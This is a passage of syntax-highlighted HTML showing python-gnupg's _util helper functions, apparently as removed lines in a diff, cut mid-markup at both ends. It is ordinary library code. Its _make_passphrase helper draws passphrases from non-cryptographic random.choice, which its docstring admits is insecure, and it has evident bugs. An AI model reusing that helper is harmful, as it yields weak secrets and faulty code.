class="o">.</span><span class="n">makedirs</span><span class="p">(</span><span class="n">directory</span><span class="p">,</span> <span class="mh">0x1C0</span><span class="p">)</span> - <span class="k">except</span> <span class="ne">OSError</span> <span class="k">as</span> <span class="n">ose</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">error</span><span class="p">(</span><span class="n">ose</span><span class="p">,</span> <span class="n">exc_info</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> - <span class="k">return</span> <span class="bp">False</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Created directory."</span><span class="p">)</span> - <span class="k">return</span> <span class="bp">True</span> -</div> -<div class="viewcode-block" id="create_uid_email"><a class="viewcode-back" href="../../gnupg.html#gnupg._util.create_uid_email">[docs]</a><span class="k">def</span> <span class="nf">create_uid_email</span><span class="p">(</span><span class="n">username</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">hostname</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="sd">"""Create an email address suitable for a UID on a GnuPG key.</span> - -<span class="sd"> :param str username: The username portion of an email address. If None,</span> -<span class="sd"> defaults to the username of the running Python</span> -<span class="sd"> process.</span> - -<span class="sd"> :param str hostname: The FQDN portion of an email address. If None, the</span> -<span class="sd"> hostname is obtained from gethostname(2).</span> - -<span class="sd"> :rtype: str</span> -<span class="sd"> :returns: A string formatted as <username>@<hostname>.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="n">hostname</span><span class="p">:</span> - <span class="n">hostname</span> <span class="o">=</span> <span class="n">hostname</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span> <span class="s">'_'</span><span class="p">)</span> - <span class="k">if</span> <span class="ow">not</span> <span class="n">username</span><span class="p">:</span> - <span class="k">try</span><span class="p">:</span> <span class="n">username</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'LOGNAME'</span><span class="p">]</span> - <span class="k">except</span> <span class="ne">KeyError</span><span class="p">:</span> <span class="n">username</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'USERNAME'</span><span class="p">]</span> - - <span class="k">if</span> <span class="ow">not</span> <span class="n">hostname</span><span class="p">:</span> <span class="n">hostname</span> <span class="o">=</span> <span class="n">gethostname</span><span class="p">()</span> - - <span class="n">uid</span> <span class="o">=</span> <span class="s">"</span><span class="si">%s</span><span class="s">@</span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">username</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span> <span class="s">'_'</span><span class="p">),</span> <span class="n">hostname</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">username</span> <span class="o">=</span> <span class="n">username</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span> <span class="s">'_'</span><span class="p">)</span> - <span class="k">if</span> <span class="p">(</span><span class="ow">not</span> <span class="n">hostname</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">username</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s">'@'</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">):</span> - <span class="n">uid</span> <span class="o">=</span> <span class="s">"</span><span class="si">%s</span><span class="s">@</span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">gethostname</span><span class="p">())</span> - <span class="k">elif</span> <span class="n">hostname</span><span class="p">:</span> - <span class="n">uid</span> <span class="o">=</span> <span class="s">"</span><span class="si">%s</span><span class="s">@</span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">hostname</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">uid</span> <span class="o">=</span> <span class="n">username</span> - - <span class="k">return</span> <span class="n">uid</span> -</div> -<div class="viewcode-block" id="_deprefix"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._deprefix">[docs]</a><span class="k">def</span> <span class="nf">_deprefix</span><span class="p">(</span><span class="n">line</span><span class="p">,</span> <span class="n">prefix</span><span class="p">,</span> <span class="n">callback</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="sd">"""Remove the prefix string from the beginning of line, if it exists.</span> - -<span class="sd"> :param string line: A line, such as one output by GnuPG's status-fd.</span> -<span class="sd"> :param string prefix: A substring to remove from the beginning of</span> -<span class="sd"> ``line``. Case insensitive.</span> -<span class="sd"> :type callback: callable</span> -<span class="sd"> :param callback: Function to call if the prefix is found. The signature to</span> -<span class="sd"> callback will be only one argument, the ``line`` without the ``prefix``, i.e.</span> -<span class="sd"> ``callback(line)``.</span> -<span class="sd"> :rtype: string</span> -<span class="sd"> :returns: If the prefix was found, the ``line`` without the prefix is</span> -<span class="sd"> returned. Otherwise, the original ``line`` is returned.</span> -<span class="sd"> """</span> - <span class="k">try</span><span class="p">:</span> - <span class="k">assert</span> <span class="n">line</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">u''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">prefix</span><span class="p">)</span><span class="o">.</span><span class="n">upper</span><span class="p">())</span> - <span class="k">except</span> <span class="ne">AssertionError</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Line doesn't start with prefix '</span><span class="si">%s</span><span class="s">':</span><span class="se">\n</span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">prefix</span><span class="p">,</span> <span class="n">line</span><span class="p">))</span> - <span class="k">return</span> <span class="n">line</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">newline</span> <span class="o">=</span> <span class="n">line</span><span class="p">[</span><span class="nb">len</span><span class="p">(</span><span class="n">prefix</span><span class="p">):]</span> - <span class="k">if</span> <span class="n">callback</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">try</span><span class="p">:</span> - <span class="n">callback</span><span class="p">(</span><span class="n">newline</span><span class="p">)</span> - <span class="k">except</span> <span class="ne">Exception</span> <span class="k">as</span> <span class="n">exc</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">exception</span><span class="p">(</span><span class="n">exc</span><span class="p">)</span> - <span class="k">return</span> <span class="n">newline</span> -</div> -<div class="viewcode-block" id="_find_binary"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._find_binary">[docs]</a><span class="k">def</span> <span class="nf">_find_binary</span><span class="p">(</span><span class="n">binary</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="sd">"""Find the absolute path to the GnuPG binary.</span> - -<span class="sd"> Also run checks that the binary is not a symlink, and check that</span> -<span class="sd"> our process real uid has exec permissions.</span> - -<span class="sd"> :param str binary: The path to the GnuPG binary.</span> -<span class="sd"> :raises: :exc:`~exceptions.RuntimeError` if it appears that GnuPG is not</span> -<span class="sd"> installed.</span> -<span class="sd"> :rtype: str</span> -<span class="sd"> :returns: The absolute path to the GnuPG binary to use, if no exceptions</span> -<span class="sd"> occur.</span> -<span class="sd"> """</span> - <span class="n">found</span> <span class="o">=</span> <span class="bp">None</span> - <span class="k">if</span> <span class="n">binary</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isabs</span><span class="p">(</span><span class="n">binary</span><span class="p">):</span> - <span class="k">try</span><span class="p">:</span> - <span class="n">found</span> <span class="o">=</span> <span class="n">_which</span><span class="p">(</span><span class="n">binary</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Found potential binary paths: </span><span class="si">%s</span><span class="s">"</span> - <span class="o">%</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">path</span> <span class="k">for</span> <span class="n">path</span> <span class="ow">in</span> <span class="n">found</span><span class="p">]))</span> - <span class="n">found</span> <span class="o">=</span> <span class="n">found</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> - <span class="k">except</span> <span class="ne">IndexError</span> <span class="k">as</span> <span class="n">ie</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Could not determine absolute path of binary: '</span><span class="si">%s</span><span class="s">'"</span> - <span class="o">%</span> <span class="n">binary</span><span class="p">)</span> - <span class="k">elif</span> <span class="n">os</span><span class="o">.</span><span class="n">access</span><span class="p">(</span><span class="n">binary</span><span class="p">,</span> <span class="n">os</span><span class="o">.</span><span class="n">X_OK</span><span class="p">):</span> - <span class="n">found</span> <span class="o">=</span> <span class="n">binary</span> - <span class="k">if</span> <span class="n">found</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">try</span><span class="p">:</span> <span class="n">found</span> <span class="o">=</span> <span class="n">_which</span><span class="p">(</span><span class="s">'gpg'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> - <span class="k">except</span> <span class="ne">IndexError</span> <span class="k">as</span> <span class="n">ie</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">error</span><span class="p">(</span><span class="s">"Could not find binary for 'gpg'."</span><span class="p">)</span> - <span class="k">try</span><span class="p">:</span> <span class="n">found</span> <span class="o">=</span> <span class="n">_which</span><span class="p">(</span><span class="s">'gpg2'</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> - <span class="k">except</span> <span class="ne">IndexError</span> <span class="k">as</span> <span class="n">ie</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">error</span><span class="p">(</span><span class="s">"Could not find binary for 'gpg2'."</span><span class="p">)</span> - <span class="k">if</span> <span class="n">found</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span> - <span class="k">raise</span> <span class="ne">RuntimeError</span><span class="p">(</span><span class="s">"GnuPG is not installed!"</span><span class="p">)</span> - - <span class="k">try</span><span class="p">:</span> - <span class="k">assert</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">isabs</span><span class="p">(</span><span class="n">found</span><span class="p">),</span> <span class="s">"Path to gpg binary not absolute"</span> - <span class="k">assert</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">islink</span><span class="p">(</span><span class="n">found</span><span class="p">),</span> <span class="s">"Path to gpg binary is symlink"</span> - <span class="k">assert</span> <span class="n">os</span><span class="o">.</span><span class="n">access</span><span class="p">(</span><span class="n">found</span><span class="p">,</span> <span class="n">os</span><span class="o">.</span><span class="n">X_OK</span><span class="p">),</span> <span class="s">"Lacking +x perms for gpg binary"</span> - <span class="k">except</span> <span class="p">(</span><span class="ne">AssertionError</span><span class="p">,</span> <span class="ne">AttributeError</span><span class="p">)</span> <span class="k">as</span> <span class="n">ae</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">error</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">ae</span><span class="p">))</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">return</span> <span class="n">found</span> -</div> -<div class="viewcode-block" id="_has_readwrite"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._has_readwrite">[docs]</a><span class="k">def</span> <span class="nf">_has_readwrite</span><span class="p">(</span><span class="n">path</span><span class="p">):</span> - <span class="sd">"""</span> -<span class="sd"> Determine if the real uid/gid of the executing user has read and write</span> -<span class="sd"> permissions for a directory or a file.</span> - -<span class="sd"> :param str path: The path to the directory or file to check permissions</span> -<span class="sd"> for.</span> -<span class="sd"> :rtype: bool</span> -<span class="sd"> :returns: True if real uid/gid has read+write permissions, False otherwise.</span> -<span class="sd"> """</span> - <span class="k">return</span> <span class="n">os</span><span class="o">.</span><span class="n">access</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">os</span><span class="o">.</span><span class="n">R_OK</span> <span class="o">^</span> <span class="n">os</span><span class="o">.</span><span class="n">W_OK</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="_is_file"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._is_file">[docs]</a><span class="k">def</span> <span class="nf">_is_file</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span> - <span class="sd">"""Check that the size of the thing which is supposed to be a filename has</span> -<span class="sd"> size greater than zero, without following symbolic links or using</span> -<span class="sd"> :func:os.path.isfile.</span> - -<span class="sd"> :param filename: An object to check.</span> -<span class="sd"> :rtype: bool</span> -<span class="sd"> :returns: True if **filename** is file-like, False otherwise.</span> -<span class="sd"> """</span> - <span class="k">try</span><span class="p">:</span> - <span class="n">statinfo</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">lstat</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"lstat(</span><span class="si">%r</span><span class="s">) with type=</span><span class="si">%s</span><span class="s"> gave us </span><span class="si">%r</span><span class="s">"</span> - <span class="o">%</span> <span class="p">(</span><span class="nb">repr</span><span class="p">(</span><span class="n">filename</span><span class="p">),</span> <span class="nb">type</span><span class="p">(</span><span class="n">filename</span><span class="p">),</span> <span class="nb">repr</span><span class="p">(</span><span class="n">statinfo</span><span class="p">)))</span> - <span class="k">if</span> <span class="ow">not</span> <span class="p">(</span><span class="n">statinfo</span><span class="o">.</span><span class="n">st_size</span> <span class="o">></span> <span class="mi">0</span><span class="p">):</span> - <span class="k">raise</span> <span class="ne">ValueError</span><span class="p">(</span><span class="s">"'</span><span class="si">%s</span><span class="s">' appears to be an empty file!"</span> <span class="o">%</span> <span class="n">filename</span><span class="p">)</span> - <span class="k">except</span> <span class="ne">OSError</span> <span class="k">as</span> <span class="n">oserr</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">error</span><span class="p">(</span><span class="n">oserr</span><span class="p">)</span> - <span class="k">if</span> <span class="n">filename</span> <span class="o">==</span> <span class="s">'-'</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Got '-' for filename, assuming sys.stdin..."</span><span class="p">)</span> - <span class="k">return</span> <span class="bp">True</span> - <span class="k">except</span> <span class="p">(</span><span class="ne">ValueError</span><span class="p">,</span> <span class="ne">TypeError</span><span class="p">,</span> <span class="ne">IOError</span><span class="p">)</span> <span class="k">as</span> <span class="n">err</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">error</span><span class="p">(</span><span class="n">err</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">True</span> - <span class="k">return</span> <span class="bp">False</span> -</div> -<div class="viewcode-block" id="_is_stream"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._is_stream">[docs]</a><span class="k">def</span> <span class="nf">_is_stream</span><span class="p">(</span><span class="nb">input</span><span class="p">):</span> - <span class="sd">"""Check that the input is a byte stream.</span> - -<span class="sd"> :param input: An object provided for reading from or writing to.</span> -<span class="sd"> :rtype: bool</span> -<span class="sd"> :returns: True if :param:input is a stream, False if otherwise.</span> -<span class="sd"> """</span> - <span class="k">return</span> <span class="nb">isinstance</span><span class="p">(</span><span class="nb">input</span><span class="p">,</span> <span class="n">BytesIO</span><span class="p">)</span> <span class="ow">or</span> <span class="nb">isinstance</span><span class="p">(</span><span class="nb">input</span><span class="p">,</span> <span class="n">StringIO</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="_is_list_or_tuple"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._is_list_or_tuple">[docs]</a><span class="k">def</span> <span class="nf">_is_list_or_tuple</span><span class="p">(</span><span class="n">instance</span><span class="p">):</span> - <span class="sd">"""Check that ``instance`` is a list or tuple.</span> - -<span class="sd"> :param instance: The object to type check.</span> -<span class="sd"> :rtype: bool</span> -<span class="sd"> :returns: True if ``instance`` is a list or tuple, False otherwise.</span> -<span class="sd"> """</span> - <span class="k">return</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">instance</span><span class="p">,</span> <span class="p">(</span><span class="nb">list</span><span class="p">,</span> <span class="nb">tuple</span><span class="p">,))</span> -</div> -<div class="viewcode-block" id="_is_gpg1"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._is_gpg1">[docs]</a><span class="k">def</span> <span class="nf">_is_gpg1</span><span class="p">(</span><span class="n">version</span><span class="p">):</span> - <span class="sd">"""Returns True if using GnuPG version 1.x.</span> - -<span class="sd"> :param tuple version: A tuple of three integers indication major, minor,</span> -<span class="sd"> and micro version numbers.</span> -<span class="sd"> """</span> - <span class="p">(</span><span class="n">major</span><span class="p">,</span> <span class="n">minor</span><span class="p">,</span> <span class="n">micro</span><span class="p">)</span> <span class="o">=</span> <span class="n">_match_version_string</span><span class="p">(</span><span class="n">version</span><span class="p">)</span> - <span class="k">if</span> <span class="n">major</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">True</span> - <span class="k">return</span> <span class="bp">False</span> -</div> -<div class="viewcode-block" id="_is_gpg2"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._is_gpg2">[docs]</a><span class="k">def</span> <span class="nf">_is_gpg2</span><span class="p">(</span><span class="n">version</span><span class="p">):</span> - <span class="sd">"""Returns True if using GnuPG version 2.x.</span> - -<span class="sd"> :param tuple version: A tuple of three integers indication major, minor,</span> -<span class="sd"> and micro version numbers.</span> -<span class="sd"> """</span> - <span class="p">(</span><span class="n">major</span><span class="p">,</span> <span class="n">minor</span><span class="p">,</span> <span class="n">micro</span><span class="p">)</span> <span class="o">=</span> <span class="n">_match_version_string</span><span class="p">(</span><span class="n">version</span><span class="p">)</span> - <span class="k">if</span> <span class="n">major</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span> - <span class="k">return</span> <span class="bp">True</span> - <span class="k">return</span> <span class="bp">False</span> -</div> -<div class="viewcode-block" id="_make_binary_stream"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._make_binary_stream">[docs]</a><span class="k">def</span> <span class="nf">_make_binary_stream</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="n">encoding</span><span class="p">):</span> - <span class="sd">"""</span> -<span class="sd"> xxx fill me in</span> -<span class="sd"> """</span> - <span class="k">try</span><span class="p">:</span> - <span class="k">if</span> <span class="n">_py3k</span><span class="p">:</span> - <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="nb">str</span><span class="p">):</span> - <span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="n">encoding</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> - <span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="ow">is</span> <span class="ow">not</span> <span class="nb">str</span><span class="p">:</span> - <span class="n">s</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="n">encoding</span><span class="p">)</span> - <span class="kn">from</span> <span class="nn">io</span> <span class="kn">import</span> <span class="n">BytesIO</span> - <span class="n">rv</span> <span class="o">=</span> <span class="n">BytesIO</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> - <span class="k">except</span> <span class="ne">ImportError</span><span class="p">:</span> - <span class="n">rv</span> <span class="o">=</span> <span class="n">StringIO</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> - <span class="k">return</span> <span class="n">rv</span> -</div> -<div class="viewcode-block" id="_make_passphrase"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._make_passphrase">[docs]</a><span class="k">def</span> <span class="nf">_make_passphrase</span><span class="p">(</span><span class="n">length</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">save</span><span class="o">=</span><span class="bp">False</span><span class="p">,</span> <span class="nb">file</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span> - <span class="sd">"""Create a passphrase and write it to a file that only the user can read.</span> - -<span class="sd"> This is not very secure, and should not be relied upon for actual key</span> -<span class="sd"> passphrases.</span> - -<span class="sd"> :param int length: The length in bytes of the string to generate.</span> - -<span class="sd"> :param file file: The file to save the generated passphrase in. If not</span> -<span class="sd"> given, defaults to 'passphrase-<the real user id>-<seconds since</span> -<span class="sd"> epoch>' in the top-level directory.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="ow">not</span> <span class="n">length</span><span class="p">:</span> - <span class="n">length</span> <span class="o">=</span> <span class="mi">40</span> - - <span class="n">passphrase</span> <span class="o">=</span> <span class="n">_make_random_string</span><span class="p">(</span><span class="n">length</span><span class="p">)</span> - - <span class="k">if</span> <span class="n">save</span><span class="p">:</span> - <span class="n">ruid</span><span class="p">,</span> <span class="n">euid</span><span class="p">,</span> <span class="n">suid</span> <span class="o">=</span> <span class="n">psutil</span><span class="o">.</span><span class="n">Process</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">getpid</span><span class="p">())</span><span class="o">.</span><span class="n">uids</span> - <span class="n">gid</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">getgid</span><span class="p">()</span> - <span class="n">now</span> <span class="o">=</span> <span class="n">mktime</span><span class="p">(</span><span class="n">localtime</span><span class="p">())</span> - - <span class="k">if</span> <span class="ow">not</span> <span class="nb">file</span><span class="p">:</span> - <span class="n">filename</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="s">'passphrase-</span><span class="si">%s</span><span class="s">-</span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="n">uid</span><span class="p">,</span> <span class="n">now</span><span class="p">)</span> - <span class="nb">file</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">_repo</span><span class="p">,</span> <span class="n">filename</span><span class="p">)</span> - - <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="nb">file</span><span class="p">,</span> <span class="s">'a'</span><span class="p">)</span> <span class="k">as</span> <span class="n">fh</span><span class="p">:</span> - <span class="n">fh</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">passphrase</span><span class="p">)</span> - <span class="n">fh</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span> - <span class="n">fh</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> - <span class="n">os</span><span class="o">.</span><span class="n">chmod</span><span class="p">(</span><span class="nb">file</span><span class="p">,</span> <span class="n">stat</span><span class="o">.</span><span class="n">S_IRUSR</span> <span class="o">|</span> <span class="n">stat</span><span class="o">.</span><span class="n">S_IWUSR</span><span class="p">)</span> - <span class="n">os</span><span class="o">.</span><span class="n">chown</span><span class="p">(</span><span class="nb">file</span><span class="p">,</span> <span class="n">ruid</span><span class="p">,</span> <span class="n">gid</span><span class="p">)</span> - - <span class="n">log</span><span class="o">.</span><span class="n">warn</span><span class="p">(</span><span class="s">"Generated passphrase saved to </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="nb">file</span><span class="p">)</span> - <span class="k">return</span> <span class="n">passphrase</span> -</div> -<div class="viewcode-block" id="_make_random_string"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._make_random_string">[docs]</a><span class="k">def</span> <span class="nf">_make_random_string</span><span class="p">(</span><span class="n">length</span><span class="p">):</span> - <span class="sd">"""Returns a random lowercase, uppercase, alphanumerical string.</span> - -<span class="sd"> :param int length: The length in bytes of the string to generate.</span> -<span class="sd"> """</span> - <span class="n">chars</span> <span class="o">=</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_lowercase</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">ascii_uppercase</span> <span class="o">+</span> <span class="n">string</span><span class="o">.</span><span class="n">digits</span> - <span class="k">return</span> <span class="s">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">random</span><span class="o">.</span><span class="n">choice</span><span class="p">(</span><span class="n">chars</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">length</span><span class="p">))</span> -</div> -<div class="viewcode-block" id="_match_version_string"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._match_version_string">[docs]</a><span class="k">def</span> <span class="nf">_match_version_string</span><span class="p">(</span><span class="n">version</span><span class="p">):</span> - <span class="sd">"""Sort a binary version string into major, minor, and micro integers.</span> - -<span class="sd"> :param str version: A version string in the form x.x.x</span> -<span class="sd"> """</span> - <span class="n">regex</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">compile</span><span class="p">(</span><span class="s">'(\d)*(\.)*(\d)*(\.)*(\d)*'</span><span class="p">)</span> - <span class="n">matched</span> <span class="o">=</span> <span class="n">regex</span><span class="o">.</span><span class="n">match</span><span class="p">(</span><span class="n">version</span><span class="p">)</span> - <span class="n">g</span> <span class="o">=</span> <span class="n">matched</span><span class="o">.</span><span class="n">groups</span><span class="p">()</span> - <span class="n">major</span><span class="p">,</span> <span class="n">minor</span><span class="p">,</span> <span class="n">micro</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">g</span><span class="p">[</span><span class="mi">0</span><span class="p">]),</span> <span class="nb">int</span><span class="p">(</span><span class="n">g</span><span class="p">[</span><span class="mi">2</span><span class="p">]),</span> <span class="nb">int</span><span class="p">(</span><span class="n">g</span><span class="p">[</span><span class="mi">4</span><span class="p">])</span> - <span class="k">return</span> <span class="p">(</span><span class="n">major</span><span class="p">,</span> <span class="n">minor</span><span class="p">,</span> <span class="n">micro</span><span class="p">)</span> -</div> -<div class="viewcode-block" id="_next_year"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._next_year">[docs]</a><span class="k">def</span> <span class="nf">_next_year</span><span class="p">():</span> - <span class="sd">"""Get the date of today plus one year.</span> - -<span class="sd"> :rtype: str</span> -<span class="sd"> :returns: The date of this day next year, in the format '%Y-%m-%d'.</span> -<span class="sd"> """</span> - <span class="n">now</span> <span class="o">=</span> <span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">()</span><span class="o">.</span><span class="n">__str__</span><span class="p">()</span> - <span class="n">date</span> <span class="o">=</span> <span class="n">now</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">,</span> <span class="mi">1</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span> - <span class="n">year</span><span class="p">,</span> <span class="n">month</span><span class="p">,</span> <span class="n">day</span> <span class="o">=</span> <span class="n">date</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">'-'</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> - <span class="n">next_year</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">year</span><span class="p">)</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> - <span class="k">return</span> <span class="s">'-'</span><span class="o">.</span><span class="n">join</span><span class="p">((</span><span class="n">next_year</span><span class="p">,</span> <span class="n">month</span><span class="p">,</span> <span class="n">day</span><span class="p">))</span> -</div> -<div class="viewcode-block" id="_now"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._now">[docs]</a><span class="k">def</span> <span class="nf">_now</span><span class="p">():</span> - <span class="sd">"""Get a timestamp for right now, formatted according to ISO 8601."""</span> - <span class="k">return</span> <span class="n">datetime</span><span class="o">.</span><span class="n">isoformat</span><span class="p">(</span><span class="n">datetime</span><span class="o">.</span><span class="n">now</span><span class="p">())</span> -</div> -<div class="viewcode-block" id="_separate_keyword"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._separate_keyword">[docs]</a><span class="k">def</span> <span class="nf">_separate_keyword</span><span class="p">(</span><span class="n">line</span><span class="p">):</span> - <span class="sd">"""Split the line, and return (first_word, the_rest)."""</span> - <span class="k">try</span><span class="p">:</span> - <span class="n">first</span><span class="p">,</span> <span class="n">rest</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span> - <span class="k">except</span> <span class="ne">ValueError</span><span class="p">:</span> - <span class="n">first</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span> - <span class="n">rest</span> <span class="o">=</span> <span class="s">''</span> - <span class="k">return</span> <span class="n">first</span><span class="p">,</span> <span class="n">rest</span> -</div> -<div class="viewcode-block" id="_threaded_copy_data"><a class="viewcode-back" href="../../gnupg.html#gnupg._util._threaded_copy_data">[docs]</a><span class="k">def</span> <span class="nf">_threaded_copy_data</span><span class="p">(</span><span class="n">instream</span><span class="p">,</span> <span class="n">outstream</span><span class="p">):</span> - <span class="sd">"""Copy data from one stream to another in a separate thread.</span> - -<span class="sd"> Wraps ``_copy_data()`` in a :class:`threading.Thread`.</span> - -<span class="sd"> :type instream: :class:`io.BytesIO` or :class:`io.StringIO`</span> -<span class="sd"> :param instream: A byte stream to read from.</span> -<span class="sd"> :param file outstream: The file descriptor of a tmpfile to write to.</span> -<span class="sd"> """</span> - <span class="n">copy_thread</span> <span class="o">=</span> <span class="n">threading</span><span class="o">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">_copy_data</span><span class="p">,</span> - <span 